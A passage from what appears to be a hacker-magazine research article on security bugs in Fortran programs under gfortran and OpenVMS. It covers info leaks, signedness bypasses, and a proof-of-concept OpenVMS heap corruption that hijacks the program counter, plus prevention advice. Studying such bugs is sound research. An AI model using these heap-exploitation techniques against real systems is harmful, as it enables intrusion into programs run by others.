<+185>: mov DWORD PTR [esp],ebx 0x0804880c <+188>: call 0x804862c <_gfortran_transfer_integer@plt> ; read(stdin, &M1, 1) [...] 0x08048819 <+201>: movzx edx,BYTE PTR [ebp-0x9] ; edx = M1 0x0804881d <+205>: mov eax,0x1 ; eax = 1 0x08048822 <+210>: test dl,dl 0x08048824 <+212>: jle 0x8048836 ; if(dl <= 0) ; malloc(eax) 0x08048826 <+214>: mov eax,edx [...] 0x08048836 <+230>: mov DWORD PTR [esp],eax 0x08048839 <+233>: call 0x804865c [...] ------------------------------------------------------- So when a null or a negative size is supplied, malloc allocates 1 byte. Why such a strange behavior? I must confess that I couldn't find any satisfying answer but the most important thing is: if the user can supply a negative length then a really tiny allocation is done which is really prone to heap corruptions. So nice :) ---[ 3.4 - Other interesting bugs Talking about insecure programming in Fortran would not be complete without what's following. Despite not being as important, it might become handy in a few situations. Uninitialised data ------------------ The first thing to notice is that it's perfectly legal to use variables without properly initializing them: -----BEGIN UNINITIALIZED 1----- $ cat uninitialized.f90 PROGRAM uninitialized INTEGER :: I, J, XXXX DO I=0,20 J = J + 1 END DO write(*,*) J, XXXX END PROGRAM $ gfortran uninitialized.f90 $ ./a.out 148818352 -1215630400 $ ./a.out 135645616 -1215855680 -----END UNINITIALIZED 1----- The compiler did not complain whereas J and XXXX were clearly not properly set. Thanks to the ASLR we have the proof that there is no default value which results in an information leak of the stack. Information leak ---------------- There are a lots of possible situations in which an info leak could occur. I've found a couple of them and there are probably even more. *) The (in)direct access to uninitialized data. This situation is the direct consequence of what was explained previously. *) As said in Chap 3.1, in a few situations you will be able to control the index used to access arrays or strings. Now depending on the nature of the access (read or write) you will either have an info leak or a memory corruption. The following example is a perfect illustration: -----BEGIN LEAK 1----- $ cat leak1.f90 PROGRAM LEAK INTEGER :: C(10) C = Z'41414141' DO I=0,size(C)-1 write(*,*) C(I) END DO END PROGRAM $ gfortran leak1.f90 $ ./a.out 1 <-- C(0) is out of bounds 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 1094795585 $ -----END LEAK 1----- *) Something which is sometimes not well understood is the string initialization. This could turn to our advantage :) -----BEGIN LEAK 2----- $ cat leak2.f90 PROGRAM leak2 CHARACTER(len=20) :: S S(1:4) ='AAAA' write(*,*) S END PROGRAM $ gfortran leak2.f90 $ ./a.out AAAA.... <-- info leak -----END LEAK 2----- The mistake in the previous code was to use an index for initialization purpose. Indeed the proper way would be to do: S = 'AAAA' which would set the 4 first characters to 'A' and the 16 remaining to ' ' (the space character as there is no use of '\0' in Fortran). Note that Phrack publications are intrinsically not compatible with info leaks due to 7bits ASCII constraints. OK OK lame joke, forgive me ;-) --- ---[ 4 - Back to the good ol' OpenVMS friend For the vast majority of post 80s hackers, OpenVMS is without a doubt a strange beast. It's not UNIX and the DCL syntax seems insane (in fact it is as it could take you a while to figure out how to change the current path). But contrary to other old and insanely fucked OS like AIX (hey now you have a non exec stack! So _impressive_ ... ), it's an interesting challenge to hack it. People may argue that it's also so specific that you might never cross one in your lifetime so why choosing it? Hum. Let's say that: *) it's not _that_ rare. Though you may probably not see lots of them on the Internet, there are still a plenty of them in production [R8]. *) it's one of the few platforms really using Fortran nowadays. UNIX itself though useful for teaching purpose is not representative. *) both the OS, the architecture (alpha, itanium), and the compiler (HP) are different. A differential will help us to find out the bug classes that may be platform dependant. A recent and interesting blackhat presentation gave the first clues about how to exploit basic overflows on this OS [R9]. This will not be repeated though the special case of heap overflow is detailed in Chap 4.2. Notes: *) I tried as much as possible not to refer to the Alpha asm as it's really ugly (and deadlisting are too much verbose unfortunately). The readers willing to become familiar with this architecture should read the excellent [R12]. *) If you want to experiment OpenVMS, I recommend you to play with the excellent "Personal Alpha" which is able to run OpenVMS iso. Another interesting solution is to play with free shells such as the ones provided by the Deathrow OpenVMS cluster (thx guyz btw) [R20]. ---[ 4.1 - Common Fortran bugs .vs. OpenVMS Let's get straight to the point: almost every type of bugs presented also exists with the VMS compiler. However, due to the implementation of the language, a few differences exist. Note: The tests were performed on OpenVMS 8.3 (Alpha architecture). The stack overflow case ----------------------- Let's play with the (slightly modified) 'CAST 2' example: -----BEGIN VMS STACK OV 1----- $ type cast2.f90 SUBROUTINE dump(S) CHARACTER(len=20) :: S S = 'AAAA' write(*,fmt='(A,A)') ' S=',S END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZZ' write(*,fmt='(A,Z10)') '\&X=', %LOC(X) CALL dump(X) END PROGRAM $ fort cast2 $ lin cast2 $ r cast2 &X= 40000 <-- the local buffer is _not_ on the stack S=AAAA -----END VMS STACK OV 1----- So there is no crash and the local buffer is not a stack buffer. Let's dig a little bit more with the debugger: -----BEGIN VMS STACK OV 2----- $ r /debug cast2 [...] DBG> go &X= 40000 S=AAAA %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40080 20202020 20202020 20202020 41414141 AAAA 0000000000040000 00000000 00000000 00000000 20202020 ............ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 [..] -----END VMS STACK OV 2----- OK so there is an overflow since 20 bytes are written but it's _not_ a 'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot corrupt the saved registers? Hum. I would say that the exploitation of such a bug is without a doubt heavily dependant of the context. If metadata can be overwritten then there may be a way to exploit the program, if not it seems quite unlikely... :< The implicit typing ------------------- Let's quote the "HP Fortran for OpenVMS Language Reference Manual": --- Chap 3.5.1.2 Implicit Typing Rules "By default, all scalar variables with names beginning with I, J, K, L, M, or N are assumed to be default integer variables. Scalar variables with names beginning with any other letter are assumed to be default real variables. [...]" --- As a result, if the documentation is correct, there should be an overflow. Let's verify it: -----BEGIN IMPLICIT TYPE 3----- $ type implicit_typing3.f90 SUBROUTINE set(I) write(*,*) 'How much do u want to read dude ?' read(*,*) I END SUBROUTINE PROGRAM IMPLICIT_TYPING IMPLICIT NONE INTEGER(1) :: A, B A = 0 B = 0 write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A) write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B) CALL set(B) B = B + 140 write(*,*) 'A=',A,'B=',B END PROGRAM $ fort implicit_typing $ lin implicit_typing $ r /debug implicit_typing [...] DBG> go A= 0 &A= 40008 [L1] B= 0 &B= 40000 [L2] How much do u want to read dude ? 2147483647 A= 0 B= -117 [L3] %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000 : %hex 40010 00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4] 00000000 .... 0000000000040010 -----END IMPLICIT TYPE 3----- *) Since &A - &B = 8, an overflow of at least 9 bytes would be required to corrupt A from B ([L1],[L2]). *) The memory dump proves that the implicit behavior is exactly what is described in the reference manual [L4]. *) Unless the compiler was smart enough to allocate space on the stack to prepare the manipulation in set(), there is clearly an overflow as B is definitely a 1 byte buffer in the MAIN_() [L3]. The signedness issue -------------------- As stated earlier, Fortran's integers are signed which means that it's not possible to have signedness bugs unless there is a cast induced by an external function call. Let's see a short example using the LIB$MOVC3() function wich is similar to the memcpy() from libc: -----BEGIN SIGNED 1----- SUBROUTINE copy(S,L) INTEGER(2) L CHARACTER D(80) ! Destination buffer CHARACTER*(*) S write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L) write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S) ! This C function will perform the copy CALL LIB$MOVC3(L,%REF(S),%REF(D)) [L2] write(*,*) 'D is ', D END SUBROUTINE PROGRAM CMOOV CHARACTER(16) Guard0 CHARACTER(80) S CHARACTER(16) Guard1 INTEGER(2) length write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0) write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1) write(*,*) '1. Buffer string?' read(*,*) S write(*,*) '2. String len?' read(*,*) length ! Secure check IF (length .gt. 80) THEN [L1] write(*,*) 'S is too long man ...', length STOP END IF DO I=1,len(Guard0) Guard0(I:I) = 'Y' Guard1(I:I) = 'Z' END DO write(*,*) '3. Copying ... ' CALL copy(S,MIN(len_trim(S),length)) END PROGRAM -----END SIGNED 1----- *) A security check is performed in [L1]. However due to the signedness issue, a user may be able to bypass it by suppling a negative value. *) The copy function is called with the negative size [L2]. As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a negative length is supplied, a crash occurs. -----BEGIN SIGNED 2----- $ r /debug MOVC3 [...] DBG> go &Guard0= 40068 &Guard1= 40058 1. Buffer string? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2. String len? 16 <-- let's first copy 16 bytes 3. Copying ... Len= 10 &Len= 7AE3DA58 <-- stack address &D= 40000 <-- global data address &S= 40078 <-- global data address D is AAAAAAAAAAAAAAAA <-- copy was successful %DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion' DBG> dump /hex %hex 40000:%hex 40100 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 00000000 00000000 00000000 00000000 ................ 0000000000040010 00000000 00000000 00000000 00000000 ................ 0000000000040020 00000000 00000000 00000000 00000000 ................ 0000000000040030 00000000 00000000 00000000 00000000 ................ 0000000000040040 5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050 59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060 41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080 20202020 20202020 41414141 41414141 AAAAAAAA 0000000000040090 20202020 20202020 20202020 20202020 00000000000400A0 20202020 20202020 20202020 20202020 00000000000400B0 00000000 00000000 20202020 20202020 ........ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 [...] DBG> go &Guard0= 40068 &Guard1= 40058 1. Buffer string? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2. String len? -1 3. Copying ... Len= FFFF <--- We are requesting a 65535 bytes copy &Len= 7AE3DA58 &D= 40000 &S= 40078 %SYSTEM-F-ACCVIO, access violation, reason mask=00, virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B [...] DBG> dump /hex %hex 40000:%hex 40100 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040 00000000 00000000 00000000 00000000 ................ 0000000000040050 00000000 00000000 00000000 00000000 ................ 0000000000040060 00000000 00000000 00000000 00000000 ................ 0000000000040070 00000000 00000000 00000000 00000000 ................ 0000000000040080 00000000 00000000 00000000 00000000 ................ 0000000000040090 00000000 00000000 00000000 00000000 ................ 00000000000400A0 00000000 00000000 00000000 00000000 ................ 00000000000400B0 00000000 00000000 00000000 00000000 ................ 00000000000400C0 00000000 00000000 00000000 00000000 ................ 00000000000400D0 00000000 00000000 00000000 00000000 ................ 00000000000400E0 00000000 00000000 00000000 00000000 ................ 00000000000400F0 00000000 .... 0000000000040100 -----END SIGNED 2----- Comparing the difference between both executions, it's easy to see that the overflow was effective as Guard0, Guard1, S and even length were overwritten. The crash occurs during the copy because of the guard page located at 0x42000 (the page is not mmaped). This case is probably not exploitable but is sufficient to prove the reality of signedness bugs on a VMS environnement. Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice enough to make easy the use of the VMS API in every supported language. For example you will see countless examples in the official documentation explaining how to call VMS functions when programming in Fortran, VAX asm, C, etc. A bit of googling confirmes it. ---[ 4.2 - Playing with the heap Like I said before, OpenVMS developers usually tend (even in Fortran) to use the VMS native RTL API which is far more granular than the classical C malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be chosen for portability purpose which is why we focus on them in this study. What will be shown below are the global algorithms behind malloc/free and ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same). More generally, it is believed that this result could easily be transposed to the VMS kernel heap [R14] though the adaptation itself is left as an exercise for the reader. Understanding the VMS malloc/free API ------------------------------------- Unallocated memory is grouped into "bins" of (almost) similar sizes, implemented by using a single-linked list of chunks (with a pointer stored in the unallocated space inside the chunk) as illustrated below: +-------+ +-------+ +-------+ | Bin X |---->| Chunk |---->| 0x0 | +-------+ +-------+ +-------+ | ... | +-------+ +-------+ +-------+ +-------+ +-------+ | Bin Y |---->| Chunk |---->| Chunk |---->| Chunk |---->| 0x0 | +-------+ +-------+ +-------+ +-------+ +-------+ | ... | +-------+ +-------+ | Bin Z |---->| 0x0 | +-------+ +-------+ In this particular case, at least 4 free() have already been performed. Now let's have a look at the chunk 'returned' by malloc(): 4 bytes <-------------------------------------> <--------> 1 byte chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SIZE | +-------------------------------------+ | tag = 0xF00D | Bin_ID | 0x00 | mem -> +-------------------------------------+ | | . . . DATA . . . | | + + + + + + + + + + + + + + + + + + + + With : *) SIZE: the size of the chunk in bytes. It may be rounded. *) 0xF00D: a tag which indicates that the chunk is allocated. *) Bin_ID: The ID of the Bin corresponding to the allocated SIZE. *) mem: the pointer returned by malloc() or ALLOCATE(). If the user performs a free() or a DEALLOCATE() on this chunk, a slight modification occurs: 4 bytes <-------------------------------------> <--------> 1 byte chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SIZE | +-------------------------------------+ | tag = 0x7777 | Bin_ID | 0x00 | mem -> +-------------------------------------+ | NEXT_MEM | +-------------------------------------+ | | . . . free (uncleaned) space . . . | | + + + + + + + + + + + + + + + + + + + + With: *) SIZE and Bin_ID being unchanged. *) 0x7777: a tag indicating that the chunk is not allocated anymore. *) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can be the NULL pointer if there is no more free chunks in the list. Note: It may sound silly not to point to the next 'chunk' directly but that's how things are done friends. The free() algorithm is somewhat basic and can essentially be described using the following pseudo code: -----BEGIN free()----- free(void *p): CHUNK *c, *head; c = chunk_from_mem(p); c->tag = 0x7777; head = get_head_from_chunk(c); [L1] c->NEXT_MEM = head->first; [L2] head->first = c; [L3] -----END free()----- So in the end, a free() is 'almost' equivalent to an element insertion in a single list. In practice, the real allocator may well be a bit more complex as I didn't investigate the chunks splitting/fusion mechanisms (if any). Note that a free()ed chunk will become the first of the corresponding single chained list, something to keep in mind. The malloc() function is pretty straightforward: -----BEGIN malloc()----- void *malloc(size_t s): CHUNK *c, *head; size_t s_new = ROUND(s); head = get_head_from_size(s_new); [M1] if(!head->first) { [...] } c = head->first; [M2] c->tag = 0xF00D; [M3] head->first = c->NEXT_MEM; [M4] return (mem_from_chunk(c)); -----END malloc()----- A malloc() is the removal of a chunk from the corresponding chained list. Note that the first chunk of the list will be the first to be removed. If the list is empty, a special treatment is performed but we don't care about that. Taking advantage of the overflow -------------------------------- Exploiting an heap overflow can be done using at least two techniques: *) The (partial) overwrite of metadata stored on the heap. Depending on where and how much you can overflow, this might be interesting especially since function pointers could be stored there. *) The fake chunk insertion. The idea is to make malloc returning an address pointing to a chosen area (like the stack). The normal use of the buffer will then lead to the control of the process. Since the first technique is no news, let's see how to perform the second one. In order to do that, we'll play with following C code: -----BEGIN HEAP VMS 1----- // Allocation int *p = malloc(100); int *q = malloc(100); memset(p, 0x41, 100); memset(q, 0x42, 100); free(q); [N1] // heap overflow memcpy(p, user_buff, user_size); [N2] -----END HEAP VMS 1----- In order to simplify things, we'll assume that there was no previous allocation in the same BIN. Let's visualize the heap layout: Before [N1] Before [N2] After [N2] [ 00000070 ] [ 00000070 ] [ 00000070 ] [ f00d3d00 ] [ f00d3d00 ] [ f00d3d00 ] p -> [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ 41414141 ] [ ... ] [ ... ] [ ... ] [ 00000070 ] [ 00000070 ] [ 55555555 ] [ f00d3d00 ] [ 77773d00 ] user -> [ 55555555 ] q -> [ 42424242 ] [ 00000000 ] supplied [ 00000000 ] [ 42424242 ] [ 42424242 ] pointer [ 42424242 ] Now regarding the associated linked list, we have the following evolution: +------------+ +------------+ 1. | Bin 0x3d |---->| 0x00000000 | +------------+ +------------+ +------------+ +------------+ +------------+ 2. | Bin 0x3d |---->| q |---->| 0x00000000 | +------------+ +------------+ +------------+ +------------+ +------------+ +------------+ 3. | Bin 0x3d |---->| q |---->| 0x55555555 | +------------+ +------------+ +------------+ As a result, the linked list of our bin is corrupted and q->NEXT_MEM is user supplied. To prove that fact, we can dereference q->NEXT_MEM as it will lead to a program crash. This is possible thanks to [M4] if two malloc(100) are performed after the corruption: -----BEGIN HEAP VMS 2----- VMS $ r POC [...] 0000447d0: 41414141 41414141 41414141 41414141 0000447e0: 41414141 41414141 41414141 41414141 0000447f0: 41414141 41414141 41414141 41414141 000044800: 41414141 55555555 55555555 f00d5555 [O1] 000044810: 55555555 42424242 42424242 42424242 000044820: 42424242 42424242 42424242 42424242 000044830: 42424242 42424242 42424242 42424242 000044840: 42424242 42424242 42424242 42424242 [...] %SYSTEM-F-ACCVIO, access violation, [...] virtual address=0000000055555555 %TRACE-F-TRACEBACK, symbolic stack dump follows image module routine line rel PC abs PC LIBRTL 0 000000000000610C FFFFFFFF80C2E10C LIBRTL ? ? DECC$SHR_EV56 0 0000000000052710 FFFFFFFF80DDE710 DECC$SHR_EV56 ? ? POC POC main 4210 00000000000003BC 00000000000203BC POC POC __main 4128 000000000000006C 000000000002006C -----END HEAP VMS 2----- It's interesting to see that _fortunately_ size doesn't matter ;). Indeed free() is not 'really' looking at what's written in the corrupted chunk's header [O1] (size, allocation tag, ...). Great for us it makes things even easier. However something really important is that the corruption would seemingly not have been possible if q was allocated as: *) if q was allocated then it wouldn't be part of the list. *) and if q was free()ed _after_ the corruption then q->NEXT_MEM would naturally be overwritten by free(). There might be a way to trick the allocator so that an arbitrary free() is performed but I couldn't find any way to do that probably because my knowledge of the allocator algorithm is rather limited. At that point, we've almost won as we successfully inserted a fake chunk in the linked list. As a result, writing will be performed at a user supplied address. However depending on the context, we may or may not be able to sufficiently control _what_ will be written: *) If we cannot control the payload then a F00D delivery is still possible thanks to [M3]. If we can make the program perform the two necessary allocations, then the program will write 0xF00D at 'addr' if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the least significant bits of a pointer then you can probably improve the technique with an F0 overwrite if the data located immediately before can be partially corrupted. Note: Starving hackers would probably have thought of turning F00D into 0D but remember that Alpha is big endian. *) If we can control the payload, then the best way is probably to overwrite the PC address saved on the stack (there is no ASLR folks). Back on our feets [R9]: -----BEGIN HEAP VMS 3----- VMS $ type poc.F90 PROGRAM POC INTEGER(4), POINTER :: P(:) INTEGER(4), POINTER :: Q(:) INTEGER(4), POINTER :: M(:) INTEGER(4), POINTER :: P2(:) INTEGER(4) :: I ALLOCATE(P(100)) ALLOCATE(Q(100)) ! Debugging purpose P = 'AAAA' Q = 'BBBB' write(*,fmt='(A,Z10)') ' P=',%LOC(P) write(*,fmt='(A,Z10)') ' Q=',%LOC(Q) P2 => P DEALLOCATE(Q) ! Fake heap overflow P2(101) = Z'55555555' P2(102) = Z'55555555' P2(103) = Z'55555555' P2(104) = Z'55555555' P2(105) = Z'7AE3D910' + 100 ! fixed to work ;) write(*,*) "******** AFTER CORRUPTION ************" ALLOCATE(M(100)) write(*,*) "******** AFTER MALLOC 1 ************" ALLOCATE(M(100)) write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M) ! Simulating a user supplied payload DO I=1,80 M(I) = Z'44444444' END DO END PROGRAM VMS $ FORT poc VMS $ LIN poc VMS $ r poc P= 52008 Q= 521A8 ******** AFTER CORRUPTION ************ ******** AFTER MALLOC 1 ************ FAKE CHUNK AT 7AE3D974 %SYSTEM-F-ACCVIO, [...] PC=4444444444444444, PS=0000001B %TRACE-F-TRACEBACK, symbolic stack dump follows image module routine line rel PC abs PC 0 4444444444444444 4444444444444444 -----END HEAP VMS 3----- Note: The stack address is hardcoded but this is not a big issue as there is no ASLR :). One step further ---------------- OK a few more things and we're done with OpenVMS (anyway at that point you're probably either sleeping already or reading a much more interesting article of this issue ;)). 1) I came across this funny thing while reading HP's documentation [R11]: --- Chap 5.9.5 2-GB malloc No Longer Fails Silently The C RTL malloc function accepts an unsigned int (size_t) as its parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as its parameter. Allocating 2 GB (0x80000000) did not allocate the proper amount of memory and did not return an error indication. A check is now added to the malloc, calloc, and realloc functions for sizes equal to or greater than 2 GB that fail the call. --- WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;> 2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the result is that if size <= 0 and size >= -0x80000000 then the address 0x100 is returned (if size < -0x80000000 an input conversion occurs (%FOR-F-INPCONERR)). Since the 0x100 address is not mmaped, the only way to exploit this situation would be to dereference the pointer using a sufficiently great index to access user controlled data. While this is theoretically feasible since memory regions are mmaped at low addresses, a practical case has yet to be found. --- ---[ 7 - Prevention: lets use a condom Now is the time to think about how to avoid security troubles with Fortran programs. In order to do that, several things (more or less effective) can be done: *) A careful review of the source code. Believe me, it's not that easy. To properly perform that, you have to know the language deeply and being well aware of its weaknesses. Depending on your level of mastery, bugs may still be left as Fortran really is a vicious language. Mastering this paper for example is probably far from being enough. *) The study of your Fortran compiler. Try to find what kind of bugs are likely to be found/exploited with your compiler. A good starting point is probably to have a look at the "Compiler Diagnostic Test Sets" project [R17]. Not only will you find accurate information about several compilers but you will also find new kind of bugs (though not always security related) as well as a precious test set. *) Read the manpage of your compiler to see if compile/runtime extra security checks could be performed. Let me show you an example. Remember that in Chap 3.1 I gave the following example: -----BEGIN OVERFLOW 1----- $ cat overflow1.f90 PROGRAM test CHARACTER(len=30) :: S ! String of length 30 INTEGER(4) I S = 'Hello Phrack readers!' read(*,*) I S(I:I) = '.' write(*,*) S END PROGRAM $ gfortran overflow1.f90 $ ./a.out He.lo Phrack readers! <-- S was modified with 0x2E $ gdb ./a.out [...] (gdb) r Starting program: a.out 50 <-- 50 is clearly out of scope! (>30) Breakpoint 1, 0x080487be in MAIN__ () (gdb) print /d $eax $1 = 50 (gdb) c Hello Phrack readers! Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <-- EIP was corrupted with 0x2E -----END OVERFLOW 1----- Now let's see what happens when the '-fbounds-check' option is used: -----BEGIN OVERFLOW 2----- $ gfortran overflow1.f90 -fbounds-check $ ./a.out [Type 50] At line 7 of file overflow1.f90 Fortran runtime error: Substring out of bounds: upper bound (50) of 's' exceeds string length (30) $ ./a.out [Type -1] At line 7 of file overflow1.f90 Fortran runtime error: Substring out of bounds: lower bound (-1) of 's' is less than one -----END OVERFLOW 2----- As expected, the program now includes runtime checks. Depending on the bug class, the compiler may have a specific option to prevent or detect it. RTFM. *) Static analysis. Well to be honest I didn't investigate it at all. While digging for this article, I came across a couple of opensource projects as well as commercial implementations (sorry NO ADVERTISING in PHRACK dudes). While I didn't test any of them, I can imagine that there may effective ones as some kind of bugs would really be easy to spot using for example type checking (first thing that comes to my mind). Anyway it's just mere speculation. Either test it or forget it. Like we care anyway. Sometimes a condom is not enough. The best for you is probably not to use this insanely fucked language. Once again, who cares about Fortran anyway? [ http://www.fortranstatement.com/cgi-bin/petition.pl ] --- ---[ 8 - The final words There would have been a lot more to add (studying other compilers/arch) but unfortunately time is running out and I would rather not make the paper more boring than it currently is ;) Anyway as far as I can tell, the essential is covered and with that in mind and a bit of practice, I expect you to be able to quickly find new bugs. Hackers dealing with/busting/exploiting bugs in Fortran programs are so rare in our World that I bet that none of you had ever heard a word about Fortran's security issues. Nowadays people are more focused on languages such as PHP, Java or .NET which is normal for obvious reasons. Now it doesn't mean that other languages are not interesting too and you never know when appropriate knowledge becomes handy. History proved that bugs not always occurred in the 'daily' hacking playground (C/PHP, Unix/Windows) [R19] so why would we restrain ourselves? Not convinced? OK allow me to alter the smart thoughts of a fellow p67 writer: "We hack Fortran just because we can. We don't really need a reason anyway as soon as bugs are there, we are there." --- ---[ 8 - Greetz My first thoughts are for all talented hackers with whom I had so much to share all these years. May you guys never lose that spirit of yours nor your ethics [R15]. Special thanks to the Phrack staff for their help, advise and review. Now and because alone life would have no meaning, special thanks to my friends not only for being there but also for being able to support me especially when I'm *cranky* as hell :') Special apologize to the great guys of the FHC (Fortran High Council). Just for once I wanted to be as cool as king-fag-c0pe though it probably means that it's a matter of days before witnessing the bust of all cool Fortran 0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks everything will be done in a 'responsible' way [R16] ;> Also thanks to all of you who will nominate this paper at the 2011 pwnies award as the "most innovative research paper" ;> --- ---[ 9 - Bibliography [R1] http://onepiece.wikia.com/wiki/Buggy [R2] Fortran90, ISO/IEC 1539 [R3] http://gcc.gnu.org/onlinedocs/gfortran/ [R4] HP Fortran for OpenVMS - Language Reference Manual, HP [R5] Shifting the Stack Pointer, andrewg, Phrack #63 [R6] Basic Integer Overflows, Blexim, Phrack #60 [R7] http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html [R8] http://h71000.www7.hp.com/success-stories.html [R9] Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16 [R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html [R11] HP OpenVMS Version 8.3 Release Notes, HP [R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University [R13] http://labs.hoffmanlabs.com/node/401 [R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP [R15] Industry check, ZF0 #5 [R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting- responsible-disclosure-focus.html (lol) [R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt [R18] http://www.fortranstatement.com [R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf [R20] http://deathrow.vistech.net --- That is the saving of humor, if you fall no one is laughing at you. A. Whitney Brown ---